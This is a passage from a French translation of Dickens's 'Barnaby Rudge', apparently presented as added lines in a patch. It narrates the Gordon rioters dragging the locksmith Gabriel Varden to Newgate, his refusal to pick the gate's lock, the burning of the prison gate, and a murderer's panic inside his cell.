+devoir pour eux, en leur qualité de populace civilisée et
+éclairée, de l'exécuter en effet. On n'avait pas, comme il le
+faisait observer, on n'avait pas tous les jours la bonne fortune
+de pouvoir s'accommoder aux voeux des gens dont on était assez
+malheureux pour ne pas partager la manière de voir. Mais,
+puisqu'ils étaient justement tombés sur un individu qui exprimait
+un désir auquel ils pouvaient raisonnablement satisfaire (et, pour
+sa part, il ne demandait pas mieux que d'avouer que, dans son
+opinion, ce désir faisait honneur à ses sentiments), il espérait
+bien qu'on se déciderait à lui passer sa fantaisie avant d'aller
+plus loin. C'était un exercice qui, avec un peu d'habileté et de
+dextérité, ne demandait pas plus de cinq minutes pour s'accomplir
+à l'entière satisfaction des deux parties; et, quoique sa modestie
+l'empêchât de faire lui-même son propre éloge, il demandait la
+permission de dire qu'il avait dans ces matières des connaissances
+pratiques assez connues, et que comme il était en même temps d'un
+caractère obligeant et serviable, il se ferait un véritable
+plaisir d'exécuter le gentleman.
+
+Ces observations, débitées à la foule qui l'entourait, au milieu
+d'un tapage et d'un brouhaha effroyables, furent reçues avec
+grande faveur, peut-être moins à cause de l'éloquence du bourreau
+que de l'entêtement obstiné du serrurier. Gabriel était dans un
+péril imminent, et il le savait bien; mais il gardait un silence
+constant, et n'aurait pas ouvert davantage la bouche, quand on
+aurait débattu devant lui la question de savoir si on ne le ferait
+pas rôtir à petit feu.
+
+Pendant que le bourreau parlait, il y eut quelque agitation et
+quelque confusion sur l'échelle, et aussitôt qu'il eut cessé, au
+grand désappointement de la foule qui était en bas et qui n'avait
+pas eu le temps d'apprendre ce qu'il venait de dire, ni d'y
+répondre par ses acclamations, quelqu'un cria par la fenêtre:
+
+«Il a les cheveux gris, il est vieux; ne lui faites pas de mal.»
+
+Le serrurier se retourna vivement du côté d'où venaient ces
+paroles de pitié, et fixant un regard assuré sur ceux qui étaient
+là le long de l'échelle sans rien faire, accrochés les uns aux
+autres.
+
+«Tu n'as que faire de respecter mes cheveux gris, jeune homme, se
+mit-il à dire, répondant au timbre de la voix qu'il avait
+entendue, plutôt qu'à la personne même qu'il n'avait pas vue. Je
+ne vous demande pas de grâce. Si j'ai les cheveux gris, j'ai le
+coeur encore assez vert pour vous mépriser et vous braver tous,
+tas de brigands que vous êtes.»
+
+Ce discours imprudent n'était pas fait, comme on pense, pour
+apaiser la férocité des assaillants. Ils recommencèrent à demander
+à grands cris qu'on le leur descendît, et l'honnête serrurier
+allait passer un mauvais quart d'heure si Hugh ne leur avait pas
+rappelé, dans la réponse qu'il leur adressa, qu'ils avaient besoin
+de ses services, et qu'il fallait le garder pour ça.
+
+«Voyons, dit-il à Simon Tappertit, dépêchez-vous donc de lui faire
+savoir ce que nous lui demandons. Et vous, brave homme, ouvrez vos
+oreilles toutes grandes, si vous voulez qu'on vous les laisse.»
+
+Gabriel croisa ses bras maintenant libres, et considéra en silence
+son ancien apprenti.
+
+«Voyez-vous, Varden, dit Simon, c'est que nous allons à Newgate de
+ce pas.
+
+-- Certainement que vous y allez, je le vois bien, répliqua le
+serrurier, vous n'avez jamais dit plus grande vérité.
+
+-- Un instant, reprit Simon, ce n'est pas comme ça que je
+l'entends. Nous allons le réduire en cendres, forcer les portes et
+mettre les prisonniers en liberté. C'est vous qui avez aidé dans
+le temps à faire la serrure de la grande porte.
+
+-- Oui, oui, dit le serrurier, et vous verrez, avant peu, quand
+vous y serez, que vous ne me devez pas d'obligation pour cela.
+
+-- C'est possible, mais en attendant, il faut que vous nous
+montriez le moyen de la forcer.
+
+-- Ah vraiment!
+
+-- Sans doute, parce qu'il n'y a que vous qui le sachiez; moi, je
+n'en sais rien. Ainsi, venez avec nous pour la briser de vos
+propres mains.
+
+-- Quand vous me verrez faire ça, dit tout tranquillement le
+serrurier, c'est que mes mains me tomberont des bras; et vous
+ferez bien de les ramasser, Simon Tappertit, pour vous en faire
+des épaulettes, mon garçon.
+
+-- C'est bon, on verra ça, cria Hugh qui intervint en ce moment
+parce qu'il voyait l'indignation de la foule s'échauffer bien
+fort. Allons! remplissez-lui un panier des outils dont il va avoir
+besoin pendant que moi, je vais vous faire descendre l'homme.
+Ouvrez les portes en bas, vous autres, pendant qu'il y en aura qui
+vont éclairer le grand capitaine. Tudieu, mes gars, à vous voir là
+à ne rien faire que de grommeler les bras croisés, ne dirait-on
+pas que nous n'avons plus de besogne!
+
+Ils se regardèrent les uns les autres, et se dispersant aussitôt,
+montèrent à l'escalade sur la maison, pillant tout, cassant tout,
+selon leur habitude, et emportant tous les articles de quelque
+valeur qui venaient à les tenter. Ils n'eurent pas du reste grand
+temps à perdre dans cette expédition, car le panier d'outils fut
+bientôt prêt et suspendu aux épaules d'un homme de bonne volonté.
+Les préparatifs étant donc achevés, et tout disposés pour
+l'attaque, ceux qui étaient occupés à des oeuvres de pillage et de
+destruction dans les autres pièces furent rappelés en bas dans
+l'atelier. Enfin ils allaient tous sortir lorsque celui qui venait
+de descendre le dernier du haut de la maison, s'avança pour
+demander s'il fallait relâcher la jeune femme qui était dans le
+grenier où elle faisait, dit-il un tapage terrible, sans
+discontinuer.
+
+En ce qui le concernait, Simon Tappertit n'aurait pas manqué de se
+prononcer pour la négative; mais la masse des frères et amis, se
+rappelant le bon office qu'elle leur avait rendu en abreuvant le
+canon de fusil du serrurier, se montrant d'un avis contraire, le
+capitaine se vit bien obligé de répondre qu'il fallait la mettre
+en liberté. L'homme alors retourna à son secours, et reparut
+bientôt avec miss Miggs pliée en deux et toute mouillée de ses
+larmes.
+
+Comme cette jeune demoiselle s'était laissé emporter tout le long
+de l'escalier sans donner signe de vie, son libérateur la déclara
+morte ou mourante, et ne sachant trop que faire d'elle, il
+cherchait déjà des yeux quelque banc ou quelque tas de cendres
+commode pour déposer dessus la belle insensible, lorsque tout à
+coup elle se dressa sur ses pieds par je ne sais quel mécanisme
+mystérieux, rejeta ses cheveux en arrière, regarda M. Tappertit
+d'un air égaré en criant «la vie de mon Simmun est sauve!» et à
+l'instant elle se jeta dans les bras du héros avec tant de
+promptitude qu'il en perdit l'équilibre et recula de quelques pas
+sous le choc de son aimable fardeau.
+
+«Ah! que c'est embêtant! dit M. Tappertit. Voyons! des hommes ici!
+qu'on l'empoigne, et qu'on la remette sous les verrous; on
+n'aurait jamais dû lui ouvrir.
+
+-- Mon Simmun! criait Mlle Miggs en larmes et défaillante; mon
+cher, mon béni, mon adoré à toujours Simmun!
+
+-- Voyons! allez-vous vous tenir, hein? disait M. Tappertit d'un
+ton tout différent, ou bien je vais vous laisser tomber par terre.
+Que diable avez-vous donc à glisser comme ça vos pieds le long du
+plancher au lieu de vous redresser?
+
+-- Mon bon ange Simmun! murmurait Miggs... Il m'a promis...
+
+-- Promis! Ah! c'est vrai, répondit Simon d'un ton bourru. N'ayez
+pas peur, je vous tiendrai ma promesse. Je vous ai dit que je vous
+pourvoirais, et vous pouvez y compter. Allons! mais tenez-vous
+donc!
+
+-- Où voulez-vous que j'aille à présent? Qu'est-ce que je vais
+devenir après ce que j'ai fait ce soir? cria Miggs. Je n'ai plus
+d'autre lieu de repos à espérer que le silence de la tombe.
+
+-- Plût à Dieu que vous y fussiez déjà, dans le silence de la
+tombe, répliqua M. Tappertit, et d'une bonne tombe encore, et bien
+serrée... Venez ici, cria-t-il à l'un des camarades; puis il lui
+donna le mot d'ordre à voix basse dans le tuyau de l'oreille.
+Emmenez-la avec vous. Vous savez où?»
+
+L'autre fit signe qu'il le savait; et la prenant dans ses bras,
+malgré ses protestations, ses sanglots et sa résistance, y compris
+les égratignures, qui ne laissaient pas de rendre la lutte peu
+agréable, il enleva son Hélène. Tous ceux qui étaient restés
+jusque-là dans la maison sortirent dans la rue. Le serrurier fut
+mis en tête de la bande et forcé de marcher entre deux
+conducteurs. Toute la troupe se mit aussitôt en mouvement; et sans
+cri, sans tumulte, ils allèrent droit à Newgate, et firent halte
+au milieu d'une masse énorme d'insurgés déjà réunis devant la
+porte de la prison.
+
+
+
+
+CHAPITRE XXII.
+
+
+Rompant le silence qu'ils avaient gardé jusque-là, ils se mirent à
+pousser un grand cri, aussitôt qu'ils se furent rangés devant la
+prison, et demandèrent à parler au gouverneur. Leur visite n'était
+pas tout à fait inattendue, car sa maison, qui se trouvait sur la
+rue, était fortement barricadée; le guichet de la geôle était
+fermé, et on ne voyait personne aux grilles ni aux fenêtres. Avant
+qu'ils eussent répété plusieurs fois leur sommation, un homme
+apparut sur le toit de l'habitation du gouverneur, pour leur
+demander ce qu'ils voulaient.
+
+Les uns disaient une chose, les autres une autre, la plupart ne
+faisaient que grogner et siffler. Comme il faisait déjà presque
+nuit, et que la maison était haute, il y avait dans la foule un
+grand nombre de gens qui ne s'étaient pas même aperçus qu'il fût
+venu personne pour leur répondre, et qui continuaient leurs
+clameurs, jusqu'à ce que la nouvelle s'en fût répandue partout
+dans le rassemblement. Il s'écoula bien au moins dix minutes avant
+qu'on pût entendre une voix distincte, et, pendant ce temps-là, on
+voyait cette figure qui restait perchée là-haut, et dont la
+silhouette se détachait sur le fond brillant d'un ciel d'été,
+regardant en bas dans la rue où se passait la scène de trouble.
+
+«N'êtes-vous pas, finit par crier Hugh, monsieur Akerman, le
+geôlier en chef de la prison?
+
+-- Certainement, c'est lui, camarade,» lui dit Dennis à l'oreille.
+
+Mais Hugh, sans faire attention à lui, voulait avoir la réponse de
+l'homme même.
+
+«Oui, dit-il, c'est moi.
+
+-- Vous avez là, sous votre garde, maître Akerman, quelques-uns de
+mes amis.
+
+-- J'ai là beaucoup de monde sous ma garde;» et en même temps il
+jetait en bas un coup d'oeil dans l'intérieur de la prison.
+
+Et l'idée qu'il pouvait voir de là les différentes cours, et
+embrasser tout ce qui leur était masqué par ces murailles
+maudites, irritait et excitait si fort la populace, qu'ils
+hurlaient comme des loups.
+
+«Eh bien! délivrez seulement nos amis, dit Hugh, et vous pourrez
+garder les autres.
+
+-- Mon devoir est de les garder tous; et je ferai mon devoir.
+
+-- Si vous ne nous ouvrez pas les portes toutes grandes, nous
+allons les enfoncer, dit Hugh, parce que nous voulons absolument
+faire sortir les gens de l'émeute.
+
+-- Tout ce que je peux faire pour vous, mes braves gens, répliqua
+Akerman, c'est de vous exhorter à vous disperser, et de vous
+rappeler que toutes les conséquences du moindre trouble causé dans
+cette maison ne peuvent qu'être très sérieuses, et donner à bon
+nombre d'entre vous d'amers et d'inutiles regrets, quand il ne
+sera plus temps.»
+
+Il fit mine de se retirer là-dessus, mais il fut arrêté par la
+voix du serrurier.
+
+«Monsieur Akerman, cria Gabriel, monsieur Akerman!
+
+-- Je ne veux plus entendre un seul d'entre vous, répondit le
+gouverneur, se tournant vers l'homme qui lui parlait, et lui
+faisant signe de la main qu'il ne voulait pas parlementer plus
+longtemps.
+
+-- Mais je ne suis pas un d'entre eux, dit Gabriel. Je suis un
+honnête homme, monsieur Akerman, un honorable industriel...
+Gabriel Varden, le serrurier. Vous me connaissez bien?
+
+-- Comment! vous dans la foule! cria le gouverneur d'une voix
+altérée.
+
+-- Ils m'ont amené de force... ils m'ont amené ici pour leur
+forcer la serrure de la grand'porte, répondit le serrurier.
+Veuillez m'être témoin, monsieur Akerman, que je m'y refuse, que
+je n'en veux rien faire, advienne que pourra de mon refus. S'ils
+me font quelque violence, faites-moi le plaisir de vous rappeler
+ça.
+
+-- N'avez-vous plus moyen de vous tirer de là? dit le gouverneur.
+
+-- Non, monsieur Akerman. Vous allez faire votre devoir et moi le
+mien... Encore une fois, tas de brigands et de coupe-jarrets, dit
+le serrurier, se retournant de leur côté, je refuse. Ah! enrouez-
+vous tant que vous voudrez à hurler contre moi, je refuse.
+
+-- Un moment, un moment, se hâta de dire le geôlier, Monsieur
+Varden, je vous connais pour un digne homme, pour un homme qui ne
+consentirait jamais à rien faire contre la loi... à moins d'y être
+forcé.
+
+-- Forcé, monsieur! reprit le serrurier, qui voyait bien d'après
+le ton dont c'était dit, que le gouverneur lui ménageait une
+excuse bien suffisante pour céder à la multitude qui l'assiégeait
+et l'étreignait de toutes parts, et au milieu de laquelle on
+voyait debout ce vieillard, seul contre tous. Forcé, monsieur! je
+ne ferai rien de force ni de gré.
+
+-- Où donc est l'homme qui me parlait tout à l'heure? dit le
+gardien avec inquiétude.
+
+-- Présent! répondit Hugh.
+
+-- Ne savez-vous pas ce que c'est qu'une accusation de meurtre, et
+qu'en retenant cet honnête artisan avec vous, vous mettez sa vie
+en péril?
+
+-- Nous savons bien ça, répondit-il; pourquoi donc croyez-vous que
+nous l'avons amené ici, si ce n'est pas pour ça? Donnez-nous nos
+amis, maître Akerman, et nous vous donnons le vôtre. N'est-ce pas
+que vous ratifiez, ce troc, mes gars?»
+
+La populace lui répondit par un bruyant hourra.
+
+«Vous voyez ce que c'est, cria Varden. Ne les laissez pas entrer,
+au nom du roi Georges, et rappelez-vous ce que je viens de vous
+dire. Bonne nuit.»
+
+Les négociations finirent là. Une grêle de pierres et d'autres
+projectiles força le gouverneur à se retirer, et la multitude,
+s'avançant par essaims le long des murailles, bloqua Gabriel
+Varden contre la porte.
+
+C'est en vain qu'on mit à ses pieds le paquet d'instruments de son
+état; c'est en vain qu'on employa tour à tour, pour le forcer d'en
+faire usage, les promesses, les coups, des offres de récompense,
+des menaces de mort sur place: «Non, cria l'intrépide serrurier,
+non, je ne veux pas.»
+
+Il n'avait jamais tant aimé la vie, mais rien ne put l'ébranler.
+Les faces sauvages qui le dévisageaient de tous côtés, les cris de
+ceux qui étaient altérés de son sang, comme des bêtes féroces, la
+vue des hommes qui fendaient la foule et marchaient sur le corps
+de leurs camarades pour arriver jusqu'à lui, le visant, par-dessus
+la tête des autres, avec leurs haches et leurs piques, tout
+échouait devant son courage obstiné. Il les regardait l'un après
+l'autre, homme par homme, face à face, et toujours avec sa voix
+fatiguée, son visage pâlissant, il leur criait haut et ferme;
+«Non, je ne veux pas!»
+
+Dennis lui asséna sur la figure un coup de poing qui le jeta par
+terre. Il se remit sur ses pieds avec la prestesse d'un jeune
+homme, et, le front tout ensanglanté, il lui sauta à la gorge.
+
+«Ah! c'est toi, chien de lâche? lui dit-il; rends-moi ma fille,
+rends-moi ma fille.»
+
+Ils luttèrent ensemble. Il y en avait qui criaient: «Tuez-le! et
+d'autres qui heureusement ne se trouvaient pas assez près, qui
+voulaient l'écraser sous leurs pieds. Quant au bourreau, il avait
+beau serrer de toutes ses forces les poignets de son adversaire,
+il ne pouvait pas venir à bout de lui faire lâcher prise.
+
+«Si c'est comme ça que vous me remerciez, monstre d'ingratitude!
+dit-il enfin avec force jurons et hors d'haleine, car il avait
+toutes les peines du monde à articuler une parole.
+
+-- Rends-moi ma fille, criait le serrurier, devenu aussi furieux
+que ceux qui l'entouraient; rends-moi ma fille.
+
+Renversé encore une fois, encore une fois redressé, puis par
+terre, il luttait contre une vingtaine d'hommes qui se le
+passaient de main en main, quand un grand coquin, qui sortait de
+l'abattoir avec ses habits et ses grandes bottes encore chauds et
+fumants de sang et de graisse, leva une hallebarde et, poussant un
+horrible jurement, visa la tête découverte du brave vieillard. Au
+même instant, pendant qu'il avait le bras levé pour frapper, il
+tomba lui-même comme d'un coup de foudre, et un manchot lui passa
+sur le corps pour venir en aide au serrurier. Il avait un autre
+homme avec lui, et à eux deux ils saisirent vivement et rudement
+l'artisan.
+
+«Vous n'avez qu'à nous le laisser, crièrent-ils à Hugh en jouant
+des pieds et des mains pour se frayer un passage en arrière à
+travers la foule. Vous n'avez qu'à nous le laisser. N'allez-vous
+pas gaspiller votre force contre cet homme-là quand il n'en faut
+que deux comme nous pour lui faire son affaire en deux minutes?
+Vous perdez votre temps. Songez, aux prisonniers, songez à
+Barnabé.»
+
+Ceci fut répété partout dans la foule. Les marteaux commencèrent à
+battre contre les murs; chacun fit des efforts pour arriver au
+pied de la prison et prendre place au premier rang. S'ouvrant de
+force un passage à travers les mutins avec une ardeur aussi
+désespérée que s'ils étaient au milieu d'ennemis acharnés et non
+de leurs propres camarades, les deux hommes opérèrent leur
+retraite avec le serrurier au milieu d'eux, et l'entraînèrent
+jusqu'au coeur même du rassemblement.
+
+Pendant ce temps-là, les coups commençaient à pleuvoir comme la
+grêle sur la grande porte et sur le bâtiment, qui ne s'en émouvait
+guère: car ceux qui ne pouvaient approcher de la porte étaient
+toujours bien aises de décharger leur rage sur n'importe quoi...
+même sur les gros blocs de pierre qui brisaient leurs armes en
+morceaux dans leurs mains, leur donnant jusque dans les bras des
+fourmillements douloureux, comme s'ils ne se contentaient pas
+d'une résistance passive et qu'ils leur rendissent coup pour coup.
+Le fracas du fer contre le fer se mêlait au tumulte étourdissant
+qu'il dominait par son bruit éclatant, à mesure que les grands
+marteaux de forge s'abaissaient sur les clous et les plaques de la
+porte. C'était une pluie d'étincelles. Les gens travaillaient par
+bandes et se relayaient à de courts intervalles, pour mettre toute
+la fraîcheur de leur force au service de cette oeuvre de
+destruction. Mais c'est égal: on voyait toujours debout le grand
+portail, aussi fier, aussi sombre, aussi fort qu'avant, et, sauf
+les marques des coups à sa surface, toujours le même.
+
+Pendant qu'il y en avait qui dépensaient toute leur énergie à
+cette tâche pénible, il y en avait d'autres qui dressaient des
+échelles contre la prison, et qui essayaient de grimper de là
+jusqu'au haut des murs, où elles ne pouvaient atteindre parce
+qu'elles étaient trop courtes. Il y en avait d'autres qui
+soutenaient un engagement avec une escouade de la police, forte
+d'une centaine d'hommes, et la faisaient reculer à grands coups,
+ou l'écrasaient sous leur nombre; d'autres encore faisaient le
+siège de la maison sur laquelle s'était montré le gouverneur, et,
+enfonçant les portes, revenaient avec tous les meubles, les
+empilaient contre la porte de la prison pour en faire un feu de
+joie qui pût la consumer. Aussitôt qu'on eut vent de cette idée,
+tous ceux qui se donnaient jusque-là une peine inutile jetèrent là
+leurs outils et se mirent à augmenter le tas, qui bientôt
+atteignit la largeur de la moitié de la rue, et une telle hauteur
+que ceux qui allaient porter en haut des combustibles étaient
+obligés de prendre des échelles. Quand tout le mobilier et les
+effets du gouverneur eurent été jetés sur ce riche bûcher,
+jusqu'au dernier, on se mit à les enduire de poix, de goudron, de
+résine, apportés de toutes parts, et on arrosa le tout de
+térébenthine. Ils en firent autant à tout le bois qui garnissait
+les portes de la prison, sans oublier la moindre traverse ni le
+moindre madrier. Après avoir accompli ce baptême infernal, ils
+mirent le feu au bûcher avec des allumettes flamboyantes et du
+goudron enflammé; puis alors ils se tinrent auprès, pour en
+surveiller le résultat.
+
+Comme les meubles étaient très secs et rendus plus inflammables
+encore par l'huile et la bougie qui s'y trouvaient mêlées, sans
+parler des autres moyens employés, ils n'eurent pas de peine à
+prendre feu. Les flammes s'élancèrent avec un rugissement
+terrible, noircissant le mur de la prison, et se dressant jusqu'au
+haut de sa façade en serpents de feu. Dans le commencement, les
+insurgés ramassés autour de l'incendie ne témoignaient l'ivresse
+de leur triomphe que par leurs regards satisfaits; mais quand il
+devint plus brûlant et plus menaçant... quand il se mit à craquer,
+à bondir, à mugir, comme une grande fournaise... quand il se
+réfléchit sur les maisons vis-à-vis, et qu'il illumina non
+seulement les visages pâles et étonnés aux fenêtres, mais
+jusqu'aux plus intimes recoins de chaque habitation... quand ils
+le virent caresser la grande porte de sa lueur rougeâtre, et
+badiner avec elle, tantôt s'attachant à sa surface durcie, tantôt
+la quittant tout à coup avec une inconstance sauvage pour prendre
+son essor vers les cieux, puis revenant l'envelopper dans ses
+serres brûlantes et préparer sa ruine... quand il répandit une si
+vive clarté que le cadran de l'église du Saint-Sépulcre, dont
+l'aiguille marque si souvent l'heure de la mort pour les
+condamnés, était aussi lisible qu'en plein jour, et que le coq qui
+tourne au haut de son clocher brillait à ce soleil inaccoutumé
+comme un riche joyau monté de pierreries chatoyantes... quand la
+pierre noircie et la brique sombre devinrent toutes rouges par la
+force de la réflexion, et que les croisées reluisirent comme de
+l'or bruni, miroitant aussi loin que pouvait s'étendre la vue,
+avec leurs vitres purpurines... quand les murs et les tours, les
+toits et les blocs de cheminées, au milieu des flammes
+vacillantes, semblèrent trembler et chanceler comme un homme
+ivre... quand des milliers d'objets qu'on n'avait jamais vus
+jusqu'alors vinrent s'étaler à la vue, et que les choses les plus
+familières prirent un aspect tout nouveau... alors la populace
+commença à faire chorus avec le tourbillon enflammé, et à pousser
+des cris, des clameurs, des vociférations comme heureusement il
+est rare d'en entendre, s'agitant en même temps pour entretenir le
+feu et le tenir en haleine, afin de ne pas le laisser décroître.
+
+Quoique la chaleur fût si intense que le badigeon des maisons en
+face de la prison grillait et se craquelait, formant ça et là des
+boursouflures, comme des pustules à la peau du patient tenu sur le
+gril par le bourreau, et finissait par crever et tomber en
+miettes: quoique les carreaux tombassent en éclats des croisées,
+et que le plomb et le fer sur les toits dépouillassent la main
+imprudente qui venait à s'y frotter par hasard; que les moineaux
+sortissent de leurs trous pour prendre leur vol sur les
+gouttières, et qu'étourdis par la fumée, ils tombassent tremblants
+jusque sur le bûcher embrasé; le feu n'en était pas moins activé
+sans relâche par des mains infatigables, et l'on voyait tout
+autour des ombres aller et venir sans cesse. Jamais ils ne se
+ralentissaient dans leur zèle, jamais ils ne se retiraient à
+l'écart; au contraire, ils serraient la flamme de si près que les
+spectateurs du premier rang avaient fort à faire pour que les
+chauffeurs, dans leur ardeur, ne les jetassent pas dedans, par la
+même occasion. Si un homme s'évanouissait ou se laissait choir, il
+y en avait une douzaine qui se disputaient sa place, et cela,
+quoiqu'ils sussent bien que c'était un poste de torture, de soif,
+de fatigue insupportables. Ceux qui tombaient évanouis, et qui
+avaient le bonheur de ne pas être écrasés sous les pieds ou brûlés
+par la flamme, étaient emportés dans une cour d'auberge tout près
+de là, pour y recevoir une douche à la pompe. On se passait de
+mains en mains de pleins baquets d'eau dans la foule; mais la soif
+était si ardente et si générale, l'empressement si grand à qui
+boirait le premier, que, le plus souvent, tout le contenu en était
+renversé par terre, sans que pas un eût pu seulement humecter ses
+lèvres.
+
+Cependant, au milieu des cris et du vacarme, ceux qui étaient le
+plus près du bûcher continuaient de rejeter dans le tas les
+fragments embrasés qui venaient à rouler en bas, et poussaient les
+charbons ardents contre la porte, qui, malgré ce linceul de
+flammes, n'en restait pas moins fermée et barricadée, sans leur
+ouvrir de passage. On passait, par-dessus la tête des gens, de
+gros tisons à ceux qui se tenaient au pied des échelles, tout
+prêts à grimper jusqu'au dernier échelon, pour les tenir d'une
+main contre le mur de la prison, déployant tout ce qu'ils avaient
+d'habileté et de force pour lancer ces brandons sur le toit, ou
+les jeter en bas dans les cours intérieures. Souvent ils en
+venaient à bout, et c'était alors un redoublement d'horreur dans
+cette scène effroyable: car les prisonniers enfermés là-dedans,
+voyant, à travers leurs barreaux, le feu prendre dans plusieurs
+endroits et s'approcher menaçant, pendant qu'ils étaient là sous
+clef pour la nuit, commençaient à s'apercevoir qu'ils étaient en
+danger de brûler vifs. Cette crainte horrible, se répandant de
+cellule en cellule, leur arrachait des cris et des lamentations
+épouvantables; ils appelaient au secours avec des cris si affreux,
+que la prison tout entière retentissait de leurs plaintes; on
+entendait leurs clameurs dominer les hurlements de la populace et
+le mugissement des flammes: c'était un tumulte d'agonie et de
+désespoir à faire trembler les plus hardis.
+
+Ce qu'il y a de remarquable, c'est que ces cris commencèrent par
+le côté de la prison qui faisait face à Newgate-Street, où tout le
+monde savait qu'étaient renfermés les hommes condamnés à être
+exécutés le mardi suivant. Et non seulement ces quatre criminels,
+qui avaient si peu de temps à vivre, furent les premiers à prendre
+l'alarme, en se voyant menacés de brûler vifs, mais ce furent
+aussi, du commencement jusqu'à la fin, les plus importuns de tous:
+car on les entendait distinctement, malgré la solide épaisseur des
+murailles, crier que le vent donnait de leur côté et que les
+flammes allaient bientôt les atteindra; ils appelaient les agents
+de la prison, pour qu'ils vinssent éteindre le feu en puisant de
+l'eau à la citerne qui était dans leur cour, et pleine d'eau. À en
+juger du milieu de la foule, au dehors, ces quatre condamnés ne
+cessaient pas un instant d'appeler au secours, et cela avec autant
+de frayeur et d'attachement frénétique à l'existence, que si
+chacun d'eux avait devant lui le long espoir d'une vie heureuse et
+honorée, au lieu de quarante-huit heures d'un emprisonnement
+misérable, suivi d'une mort violente et infâme.
+
+Mais rien ne saurait décrire l'angoisse et la souffrance des deux
+fils d'un de ces malheureux, chaque fois qu'ils entendaient ou
+croyaient entendre la voix de leur père. Après s'être tordu les
+mains, en courant à droite, à gauche, comme des fous furieux, l'un
+d'eux montait sur les épaules de l'autre pour essayer de grimper
+jusqu'au mur élevé, surmonté dans le haut par des piques et des
+pointes de fer. Et quand il retombait dans la foule, tout meurtri
+qu'il était, cela ne l'empêchait pas de remonter, de retomber; et
+enfin, lorsqu'il reconnut l'inutilité de ses tentatives, il se mit
+à battre les pierres pour les déchirer avec ses mains, comme s'il
+pouvait par là faire brèche dans l'épaisse muraille et s'y ouvrir
+de force un passage. À la fin, ils se frayèrent, à travers la
+multitude, un chemin jusqu'à la porte, quoique bien des hommes,
+douze fois plus forts qu'eux, eussent en vain essayé de le faire;
+et on les vit dans le feu, oui, dans le feu, faire des efforts
+désespérés pour la jeter par terre avec des leviers.
+
+Et ils n'étaient pas les seuls à être émus par le vacarme qui se
+faisait entendre de la prison. Les femmes qui étaient là à
+regarder, criaient à tue-tête, frappaient leurs mains l'une contre
+l'autre et se bouchaient les oreilles; d'autres tombaient
+évanouies. Les hommes qui n'avaient pu approcher de la muraille
+pour prendre part au siège, plutôt que d'être là à ne rien faire,
+arrachaient les pavés de la rue avec une furie et une ardeur aussi
+grandes que si c'eût été la prison même et qu'ils avançassent
+ainsi leur projet. Il n'y avait pas dans la foule une seule
+créature qui ne fût dans une agitation perpétuelle. Toute cette
+masse énorme était folle.
+
+Un grand cri! Encore! encore! sans que la plupart pussent savoir
+pourquoi, ni ce que cela voulait dire. C'est que les gens qui
+étaient autour de la porte l'avaient vue céder tout doucement et
+se détacher du gond d'en haut. Elle n'était plus suspendue de ce
+côté que sur celui d'en bas; mais cela ne l'empêchait pas de
+rester encore toute droite, soutenue derrière par la barre, et
+affermie par son propre poids, qui l'avait fait enfoncer au pied,
+dans le tas de cendres. On voyait maintenant par en haut une
+ouverture béante, à travers laquelle se montrait un passage
+obscur, caverneux, sombre... «Entassez le feu!»
+
+Le feu brûlait avec rage. La porte en était toute rouge et
+l'ouverture s'élargissait. Ils essayaient en vain de s'abriter le
+visage avec leurs mains, et, debout, tout prêts à prendre leur
+élan, ils surveillaient le progrès du leur oeuvre. On voyait
+passer le long du toit de sombres figures, les unes rampant sur
+leurs mains et leurs genoux, les autres emportées à bras. Il était
+clair que la prison ne pouvait pas tenir plus longtemps. Le
+gouverneur, avec ses agents, leurs femmes et leurs enfants,
+s'échappaient... «Entassez le feu!»
+
+La porte s'enfonce encore; elle descend plus avant dans les
+cendres... elle chancelle... elle cède... la voilà par terre!
+
+Ils poussent un nouveau cri, reculent un pas et laissent un espace
+libre entre eux et l'entrée de la prison. Hugh saute sur le
+monceau de braise ardente et fait voler dans les airs un
+tourbillon d'étincelles, illumine le sombre passage avec les
+flammèches qui se sont attachées à ses vêtements, et s'élance dans
+l'intérieur.
+
+Le bourreau le suit. Et alors il s'en précipite tant d'autres
+derrière eux, que le feu s'écrase sous leurs pas et va joncher la
+rue; mais ils n'ont plus besoin de lui maintenant: au dedans comme
+au dehors, toute la prison est en flammes.
+
+
+
+
+CHAPITRE XXIII.
+
+
+Pendant tout le cours de la terrible scène qui venait de finir par
+ce succès, il y avait dans Newgate un homme en proie à une crainte
+et à une torture morale qui n'avait point de pareille au monde,
+même celle des criminels condamnés à mort.
+
+Lorsque les mutins s'étaient assemblés d'abord devant les
+bâtiments, l'assassin avait été tiré de son sommeil... si le sien
+mérita ce nom béni... par l'éclat des voix et le tumulte de la
+foule. Il tressaillit en entendant ce bruit, et s'assit sur son
+lit pour écouter.
+
+Après un court intervalle de silence, le bruit redoubla. Écoutant
+toujours d'une oreille attentive, il finit par comprendre que la
+prison était assiégée par une multitude furieuse. Aussitôt sa
+conscience coupable lui représenta ces gens comme animés contre
+lui, et lui donna la crainte qu'ils ne vinssent l'arracher seul de
+sa cellule pour le mettre en pièces.
+
+Une fois sous l'empire de cette terrible idée, tout semblait fait
+exprès pour la confirmer et la fortifier. Son double crime, les
+circonstances dans lesquelles il avait été commis, la longueur du
+temps qui s'était écoulé depuis la découverte survenue en dépit de
+tout, faisaient de lui, pour ainsi dire, l'objet visible de la
+colère du Tout-Puissant. Au milieu des crimes, des vices, de la
+peste morale de ce grand lazaret de la capitale, il était là tout
+seul, marqué et désigné comme victime expiatoire de ses forfaits,
+un Lucifer au milieu des démons. Les autres prisonniers n'étaient
+qu'une vile tourbe, occupés à se cacher et à se dissimuler, une
+populace comme celle qui frémissait dans la rue. Lui, il était
+l'homme, l'homme unique, en butte à toutes ces fureurs réunies; un
+homme à part, solitaire, isolé, dont les captifs eux-mêmes
+s'éloignaient et se reculaient avec effroi.
+
+Soit que la nouvelle de sa capture ébruitée au dehors les eût
+amenés tout exprès pour le tirer de là et le tuer dans la rue,
+soit que ce fussent les émeutiers qui, fidèles à quelque plan
+arrêté d'avance, étaient venus pour saccager la prison; dans l'un
+comme dans l'autre cas, il n'avait aucune espérance qu'on épargnât
+sa vie. Chaque cri qu'ils poussaient, chaque clameur qu'ils
+faisaient entendre, était un coup nouveau qui le frappait au
+coeur; à mesure que l'attaque avançait, il devenait de plus en
+plus égaré par ses terreurs frénétiques; il essayait de renverser
+les barreaux qui défendaient la cheminée pour l'empêcher de
+grimper par là; il appelait à haute voix les guichetiers pour
+qu'ils vinssent se ranger autour de sa cellule et le sauver de la
+furie de la canaille.
+
+«Mettez-moi si vous voulez dans un cachot souterrain, n'importe la
+profondeur, je me moque bien qu'il soit sombre ou dégoûtant, que
+ce soit un nid de rats ou de vipères, pourvu que je puisse m'y
+cacher et m'y dérober à toute recherche.»
+
